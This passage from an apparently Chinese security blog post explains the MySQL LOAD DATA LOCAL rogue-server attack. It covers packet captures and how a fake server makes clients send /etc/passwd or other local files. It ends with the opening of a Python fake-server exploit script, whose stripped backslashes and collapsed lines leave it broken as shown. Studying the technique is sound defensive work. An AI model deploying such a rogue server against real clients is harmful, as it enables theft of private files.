world,再尝试命令写入数据表中。成功写入。再来看第二种,“从客户端导入数据到服务器上规定的表中(漏洞实际利用点)”。注意以下几点使用条件:1.mysql服务器需要开启允许远程机器访问;2.secure_auth为off(默认为off关闭状态);3.secure_file_priv没有限制,无具体值,如果有值,如/tmp/,则只能读取写在该/tmp/目录下:使用第一步,我们在Agent创建并写入文本内容“1.txt”:“99”,“PASS1 ”“100” ,“PASS2 ”查看服务器发现写入成功:利用这个方法我们尝试读取agent etc/passwd:读取agent的etc/passwd 的命令执行成功:抓包分析我们尝试读取客户端KALI上的/root/Desktop/1.txt文件,通过wireshark抓包分析:首先服务器连接到TCP 3306端口,其次发送了Greeting包,包括协议、版本等信息:接下来是登录认证包,其中也包括了LOAD DATA LOCAL的标志位:初始化的一些查询,比如select @@version_comment limit 1:我们接下来看关键执行函数的语句,这里客户端发起了向服务器端要求写入客户端的/root/Desktop/1.txt:有意思的是,官方文档中关于这个函数写到了,服务器可以告诉客户端程序传输其选择的文件,而不是语句中指定的文件。这样的服务器可以访问客户端用户具有读取权限的客户端主机上的任何文件。而且可以通过文件传输请求回复任何语句。我们接下来看关键执行函数的语句,服务器的Respnse TABULAR确实也是携带/root/Desktop/1.txt的语句内容:然后客户端向服务端发送了文件的内容:从这个流程包我们可以发现服务器按照以下顺序发送到客户端:首先打招呼(Greeting);然后认证完成(Auth OK);最后执行PAYLOAD;简单来说,因为MYSQL没有对客户端发送的请求内容进行二次校验,客户端执行操作是由服务器的Respnse TABULAR来决定的。我们可以通过这种方式设置一个伪造的MYSQL服务器并欺骗客户端进行语句执行。举一个恶意利用的栗子:伪造服务器(攻击方):Greeting!服务器(受害者):登录请求(任意账户密码);伪造服务器(攻击方):Authok!服务器(受害者):请将我的XXX内容插入到XX表中;伪造服务器:读取你本地的etc/passwd(执行payload);服务器(受害者):发送/etc/passwd内容。我们将其流量包中MYSQL协议内容,转换成Escapted sting,复制到vesiluoma公开POC中即可利用。“Abusing MySQL clients to get LFI from the server/client – vesiluoma.com”在这里,我们要注意该作者PAYLOAD部分,Payload = payloadlen + padding +“xxxxxxx”中的“xxxxx”带入了payloadlen以及padding需要删除。我们改写这段时候,需要记得修改payloadlen,即字符串的长度。#!/usr/bin/python#coding: utf8import socket# linux :filestring = "/root/Desktop/1.txt" # windows:#filestring = "C:\Windows\system32\drivers\etc\hosts"HOST = "0.0.0.0" # open for eeeeveryone! ^_^PORT = 3307 BUFFER_SIZE = 1024#1 Greetinggreeting = "x4ax00x00x00x0ax35x2ex35x2ex35x33x00x08x00x00x00x38x4fx65x2ex54x3ex77x5dx00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x4dx4bx6ex69x43x53x55x34x40x28x45x60x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"#2 Accept all authenticationsauthok = "x07x00x00x02x00x00x00x02x00x00x00"#3 Payloadpayloadlen = "x14"padding = "x00x00"payload =...
阅读全文